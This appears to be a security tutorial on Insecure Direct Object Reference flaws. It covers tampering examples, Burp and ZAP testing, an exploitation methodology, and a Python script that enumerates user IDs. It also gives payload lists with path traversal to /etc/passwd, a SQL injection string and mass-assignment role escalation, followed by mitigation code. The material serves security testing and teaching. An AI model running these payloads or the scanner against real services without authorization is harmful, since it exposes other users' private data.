Introduction
Insecure Direct Object References (IDOR) is a critical web security vulnerability that occurs when an application exposes a reference to an internal implementation object, such as a file, directory, database record, or key. Due to lack of proper authorization checks, attackers can manipulate these references to access unauthorized data or perform unauthorized actions.
IDOR vulnerabilities are classified as access control issues and ranked #1 in the OWASP API Security Top 10 (2023) and #5 in the OWASP Top 10 (2021) under “Broken Access Control”.
How IDOR Vulnerabilities Work
IDOR vulnerabilities follow this general pattern:
- Application uses client-controlled input to directly reference objects
- The reference is predictable or easily guessable
- The application fails to verify if the user is authorized to access the requested object
- Attacker manipulates the reference to access unauthorized resources
Common IDOR Locations
URL Parameters
1
2
3
| https://example.com/api/users/123/profile # User ID in path
https://example.com/viewDocument?docid=1000 # Document ID as parameter
https://example.com/account?id=987 # Account ID as parameter
|
HTTP Request Bodies
1
2
3
4
5
6
| // POST /api/transactions
{
"fromAccount": 12345,
"toAccount": 67890,
"amount": 100
}
|
1
| Cookie: user_id=1337; access_level=user
|
1
| <input type="hidden" name="accountNumber" value="12345">
|
API Endpoints
1
2
3
| GET /api/v1/users/123/documents
PUT /api/v1/orders/456/cancel
DELETE /api/v1/comments/789
|
File Paths
1
2
| https://example.com/app/loadDocument.php?file=../../../etc/passwd
https://example.com/users/profile_pictures/user1337.jpg
|
IDOR Vulnerability Types
Horizontal Privilege Escalation
Accessing resources belonging to other users with the same privilege level.
1
2
3
4
5
| # Legitimate request
GET /api/users/1337/messages
# IDOR exploit (accessing another user's messages)
GET /api/users/1338/messages
|
Vertical Privilege Escalation
Accessing resources that require higher privileges than the attacker possesses.
1
2
3
4
5
| # Legitimate user request
GET /api/users/profile
# IDOR exploit (accessing admin functionality)
GET /api/admin/users
|
Insecure Function Calls
Invoking functions or operations without proper authorization.
1
2
3
4
5
6
7
8
9
10
11
12
13
| # Legitimate request
POST /api/users/1337/update
{
"name": "John Doe",
"email": "john@example.com"
}
# IDOR exploit (modifying another user's data)
POST /api/users/1338/update
{
"name": "Hacked",
"email": "attacker@evil.com"
}
|
Data Leakage
Exposing sensitive information through object references.
1
2
3
4
5
| # Legitimate request
GET /api/invoices/INV-1337
# IDOR exploit (accessing another user's invoice)
GET /api/invoices/INV-1338
|
IDOR Parameter Tampering Examples
Numeric IDs
1
2
3
4
5
| GET /api/users/1337/profile # Original
GET /api/users/1338/profile # Tampered
GET /profile?user_id=1337 # Original
GET /profile?user_id=1338 # Tampered
|
UUIDs and GUIDs
1
2
| GET /api/documents/a1b2c3d4-e5f6-7890-abcd-ef1234567890 # Original
GET /api/documents/f6e5d4c3-b2a1-0987-abcd-ef0987654321 # Tampered
|
Base64 Encoded Values
1
2
| GET /api/resources?id=dXNlcjoxMzM3 # Decoded: user:1337
GET /api/resources?id=dXNlcjoxMzM4 # Decoded: user:1338
|
Hashed Values
1
2
3
| # If using predictable hashing like MD5
GET /api/data?hash=8c97955ebd0b8f31542375c891dc4c4c # MD5 of "user1337"
GET /api/data?hash=44ffc643c79bd401a40177e207610ca0 # MD5 of "user1338"
|
JSON Web Tokens (JWT)
1
2
3
4
5
| # If JWT contains user identifiers and isn't properly validated
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMzM3fQ.73tT8P8K_eNLl-h19P2hxP4h0xND9vFVXvd9K4nBGGw
# Tampered JWT with different user_id
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMzM4fQ.QaAp40pdBgeDFshjzFkYY9gzUEQbZTWoUMVNVv5FoFE
|
IDOR Detection Techniques
Manual Testing
- Identify Parameters: Look for IDs, references, filenames in:
- URL paths and query parameters
- Request bodies
- Hidden form fields
- Cookies
- Parameter Analysis:
- Identify the format (numeric, UUID, Base64, etc.)
- Decode if necessary (Base64, URL encoding)
- Understand the pattern or structure
- Authorization Testing:
- Log in with different user accounts
- Swap identifiers between accounts
- Try accessing resources without authentication
- Test both horizontal and vertical access controls
- API Endpoint Enumeration:
- List all API endpoints using documentation or proxy tools
- Test CRUD operations on each endpoint
- Look for inconsistent access controls
Automated Testing
Using Burp Suite
- Autorize Extension:
- Configure authorized and unauthorized users
- Compare responses between users for the same resources
- Flag potential IDOR issues
- Burp Intruder:
- Target parameters likely to contain object references
- Use payloads of sequential numbers, UUIDs, or other patterns
- Analyze responses for successful access or data leakage
- Match and Replace Rules:
- Set up rules to automatically replace user identifiers
- Test all application functions with replaced IDs
Using OWASP ZAP
- Active Scan:
- Enable IDOR rules in the scan policy
- Run against authenticated sessions
- Fuzzing:
- Use ZAP’s fuzzer against identified parameters
- Look for status code or response size changes
IDOR Exploitation Methodology
1. Reconnaissance
1
2
3
4
| # Map the application and identify potential IDOR points
GET /api/users/1337/profile
GET /api/users/1337/documents
GET /api/users/1337/settings
|
2. Pattern Analysis
1
2
3
4
5
6
7
| # Original request
GET /api/users/a7f9cb2c-8954-4611-a918-d1462b29455b/profile
# Analysis:
# - UUID format
# - Potential user identifier
# - Predictable pattern for different users
|
3. Parameter Tampering
1
2
3
4
5
| # Try different values
GET /api/users/1338/profile # Sequential ID
GET /api/users/admin/profile # Role-based ID
GET /api/users/../profile # Path traversal
GET /api/users/*/profile # Wildcard attempt
|
4. HTTP Method Switching
1
2
3
4
5
6
7
| # Original request
GET /api/users/1337/profile # Returns 403 Forbidden
# Try different HTTP methods
POST /api/users/1337/profile # May bypass access controls
PUT /api/users/1337/profile
DELETE /api/users/1337/profile
|
5. Mass Assignment Exploitation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| # Original request to update user profile
PUT /api/users/1337
{
"name": "John Doe",
"email": "john@example.com"
}
# Adding unexpected fields
PUT /api/users/1337
{
"name": "John Doe",
"email": "john@example.com",
"role": "admin",
"verified": true
}
|
6. API Version Bypassing
1
2
3
4
5
| # Current API version might have proper access controls
GET /api/v2/users/1338/profile # Returns 403 Forbidden
# Try an older API version
GET /api/v1/users/1338/profile # May succeed if access controls were added later
|
7. Nested Resource Exploitation
1
2
| # Access through parent-child relationship
GET /api/organizations/5/users/1338 # May work if only checking organization access
|
Advanced IDOR Exploitation
Blind IDOR Detection
When you can’t directly see the response data:
1
2
3
4
5
| # Original request (returns no useful content)
GET /api/users/1337/delete # Returns {"status":"success"}
# Try with another ID
GET /api/users/1338/delete # If also returns success, likely vulnerable
|
IDOR via Race Conditions
1
2
3
4
5
6
7
8
| # Scenario: Restrictions applied after initial access check
# Step 1: Start multiple concurrent requests
for i in {1..20}; do
curl -H "Authorization: Bearer $TOKEN" \
https://example.com/api/documents/restricted_doc \
-o "output_$i.txt" &
done
|
Bypassing Referrer Checks
1
2
3
4
5
6
7
| # If server validates Referer header
GET /api/users/1338/profile
Referer: https://example.com/users/1337/
# Try without Referer
GET /api/users/1338/profile
# No Referer header
|
IDOR in File Operations
1
2
3
4
5
6
| # Legitimate file access
GET /download?file=user_1337_report.pdf
# IDOR exploitation
GET /download?file=user_1338_report.pdf
GET /download?file=../../../etc/passwd
|
IDOR via Path Traversal
1
2
3
4
5
| # Original URL
GET /api/documents/users/1337/2023/financial.pdf
# Path traversal IDOR
GET /api/documents/users/1337/../1338/2023/financial.pdf
|
Custom IDOR Scanner (Python Script)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| import requests
import concurrent.futures
base_url = "https://example.com/api/users/"
user_id_range = range(1000, 2000)
auth_token = "YOUR_AUTH_TOKEN"
headers = {"Authorization": f"Bearer {auth_token}"}
def test_idor(user_id):
url = f"{base_url}{user_id}/profile"
response = requests.get(url, headers=headers)
if response.status_code == 200:
print(f"Potential IDOR found: {url}, Status: {response.status_code}")
print(f"Response: {response.text[:100]}...")
return user_id, response.status_code
# Execute requests in parallel
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
futures = [executor.submit(test_idor, uid) for uid in user_id_range]
for future in concurrent.futures.as_completed(futures):
user_id, status_code = future.result()
|
Burp Suite Automation with Autorize Extension
- Configure two users: one with higher privileges and one with lower privileges
- Set up the Autorize extension to use the higher privileged user’s session
- Browse the application with the lower privileged user
- Autorize will flag requests that succeed with the higher privileged user’s session
Postman Collection for IDOR Testing
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
| {
"info": {
"name": "IDOR Testing Collection",
"schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json"
},
"item": [
{
"name": "Get User Profile - Original",
"request": {
"method": "GET",
"header": [
{
"key": "Authorization",
"value": "Bearer "
}
],
"url": {
"raw": "/api/users//profile",
"host": [""],
"path": ["api", "users", "", "profile"]
}
}
},
{
"name": "Get User Profile - IDOR Test",
"request": {
"method": "GET",
"header": [
{
"key": "Authorization",
"value": "Bearer "
}
],
"url": {
"raw": "/api/users//profile",
"host": [""],
"path": ["api", "users", "", "profile"]
}
}
}
],
"variable": [
{
"key": "base_url",
"value": "https://example.com"
},
{
"key": "auth_token",
"value": "YOUR_AUTH_TOKEN"
},
{
"key": "user_id",
"value": "1337"
},
{
"key": "target_user_id",
"value": "1338"
}
]
}
|
Real-World IDOR Examples
HackerOne Case Studies
- Shopify API IDOR (2019)
- An IDOR in Shopify allowed accessing any order receipt by modifying the order ID parameter
- Impact: Exposure of customer PII and order details
- Twitter Account Takeover (2017)
- An IDOR in Twitter’s account management allowed attackers to add any email address to their account
- Impact: Complete account takeover of other users
- Facebook Page Admin IDOR (2021)
- An IDOR in Facebook’s Business Manager allowed unauthorized access to page administration
- Impact: Ability to manage any Facebook business page
CVE Examples
- CVE-2021-40346: WordPress IDOR
- An IDOR in WordPress allowed authenticated users to delete arbitrary posts
- Impact: Content deletion and potential DoS
- CVE-2020-35489: GitLab IDOR
- An IDOR in GitLab allowed unauthorized access to private project details
- Impact: Exposure of confidential project information
- CVE-2019-11869: WordPress Plugin IDOR
- An IDOR in the WordPress Social Warfare plugin allowed unauthorized file uploads
- Impact: Remote code execution
Prevention & Mitigation
Server-Side Validation
1
2
3
4
5
6
7
8
9
10
11
12
13
| // PHP example with proper authorization check
function getDocumentById($documentId) {
// 1. Get the current user ID
$currentUserId = getCurrentAuthenticatedUserId();
// 2. Query document with both the document ID and user ID
$query = "SELECT * FROM documents WHERE id = ? AND owner_id = ?";
$stmt = $pdo->prepare($query);
$stmt->execute([$documentId, $currentUserId]);
// 3. Return the document only if it belongs to the current user
return $stmt->fetch();
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| // Node.js/Express example with middleware
function authorizeResourceAccess(req, res, next) {
const resourceId = req.params.id;
const userId = req.user.id;
// Check if user has access to the resource
Resource.findOne({
where: { id: resourceId }
}).then(resource => {
if (!resource || resource.ownerId !== userId) {
return res.status(403).json({ error: "Forbidden" });
}
// User is authorized to access the resource
next();
}).catch(err => {
res.status(500).json({ error: "Server error" });
});
}
// Use middleware in routes
app.get('/api/resources/:id', authorizeResourceAccess, (req, res) => {
// Handle the request
});
|
Indirect Reference Maps
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| // Using indirect references instead of direct database IDs
const userResourceMap = {
'user1337': {
'resource1': 'db_id_74923',
'resource2': 'db_id_92174'
}
};
app.get('/api/resources/:resourceKey', (req, res) => {
const userId = getUserIdFromSession(req);
const resourceKey = req.params.resourceKey;
// Get the actual database ID from the map
const dbId = userResourceMap[userId]?.[resourceKey];
if (!dbId) {
return res.status(403).json({ error: "Forbidden" });
}
// Now fetch using the real database ID
Resource.findById(dbId).then(resource => {
res.json(resource);
});
});
|
Access Control Frameworks
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
| // Using RBAC (Role-Based Access Control) framework
const accessControl = new AccessControl();
// Define roles and permissions
accessControl
.grant('user')
.readOwn('profile')
.updateOwn('profile')
.grant('admin')
.extend('user')
.readAny('profile')
.updateAny('profile');
// Middleware to check permissions
function checkPermission(action, resource) {
return (req, res, next) => {
const permission = accessControl.can(req.user.role)[action](resource);
if (permission.granted) {
next();
} else {
res.status(403).json({ error: "Forbidden" });
}
};
}
// Use in routes
app.get('/api/users/:id/profile',
checkPermission('readOwn', 'profile'),
(req, res) => {
// Additional ownership check for readOwn
if (req.params.id !== req.user.id && req.user.role !== 'admin') {
return res.status(403).json({ error: "Forbidden" });
}
// Handle the request
}
);
|
Use UUIDs Instead of Sequential IDs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| // Generating a UUID v4 for resource identifiers
const { v4: uuidv4 } = require('uuid');
app.post('/api/resources', (req, res) => {
const resourceId = uuidv4(); // e.g., '1b9d6bcd-bbfd-4b2d-9b5d-ab8dfbbd4bed'
// Create resource with the UUID
const resource = new Resource({
id: resourceId,
ownerId: req.user.id,
// other properties...
});
resource.save().then(() => {
res.json({ id: resourceId });
});
});
|
Context-Based Authorization
1
2
3
4
5
6
7
8
9
| // Django example with object-level permissions
class DocumentViewSet(viewsets.ModelViewSet):
queryset = Document.objects.all()
serializer_class = DocumentSerializer
permission_classes = [IsAuthenticated, IsOwnerOrReadOnly]
def get_queryset(self):
# Filter queryset based on the requesting user
return Document.objects.filter(owner=self.request.user)
|
Common IDOR Testing Payloads
Numeric ID Manipulation
1
2
3
4
5
6
7
8
9
10
| # Original ID
id=1337
# Test payloads
id=1338
id=1
id=0
id=-1
id=null
id=9999999
|
UUID Manipulation
1
2
3
4
5
6
7
| # Original UUID
id=a7f9cb2c-8954-4611-a918-d1462b29455b
# Test payloads
id=a7f9cb2c-8954-4611-a918-000000000000
id=a7f9cb2c-0000-0000-0000-d1462b29455b
id=00000000-0000-0000-0000-000000000000
|
Base64 Manipulation
1
2
3
4
5
6
7
| # Original Base64 (decoded: user:1337)
id=dXNlcjoxMzM3
# Test payloads
id=dXNlcjoxMzM4 # user:1338
id=dXNlcjphZG1pbg== # user:admin
id=YWRtaW46YWRtaW4= # admin:admin
|
JSON Data Manipulation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| // Original request
{
"userId": 1337,
"action": "view"
}
// Test payloads
{
"userId": 1338,
"action": "view"
}
{
"userId": 1337,
"action": "admin_view"
}
{
"userId": "' OR 1=1 --",
"action": "view"
}
|
IDOR Checklist for Security Testing
- Identify Potential IDOR Points
- URL parameters
- REST API endpoints
- Request body parameters
- Cookies
- Hidden form fields
- Headers (e.g., custom identifiers)
- Test Access Control
- Horizontal privilege escalation (same level users)
- Vertical privilege escalation (higher privileges)
- Unauthenticated access
- Ability to access deleted resources
- Test Parameter Manipulation
- Modify numeric IDs
- Manipulate GUIDs/UUIDs
- Decode and modify encoded values
- Test array/batch operations
- Modify JSON/XML structures
- Test HTTP Method Variations
- Same endpoint with GET/POST/PUT/DELETE
- Method override techniques (X-HTTP-Method-Override)
- Test Request Headers
- Remove authentication headers
- Modify origin/referer headers
- Add/modify custom headers
- Advanced Testing
- API versioning bypasses
- Race conditions
- Mass assignment vulnerabilities
- Path traversal combined with IDOR
- Wildcard usage or fuzzing
References
- OWASP API Security Top 10: API1:2023 Broken Object Level Authorization
- PortSwigger: Insecure Direct Object References
- HackTricks: IDOR
- OWASP Top 10:2021 A01 Broken Access Control
- Bug Bounty Reports on IDOR by HackerOne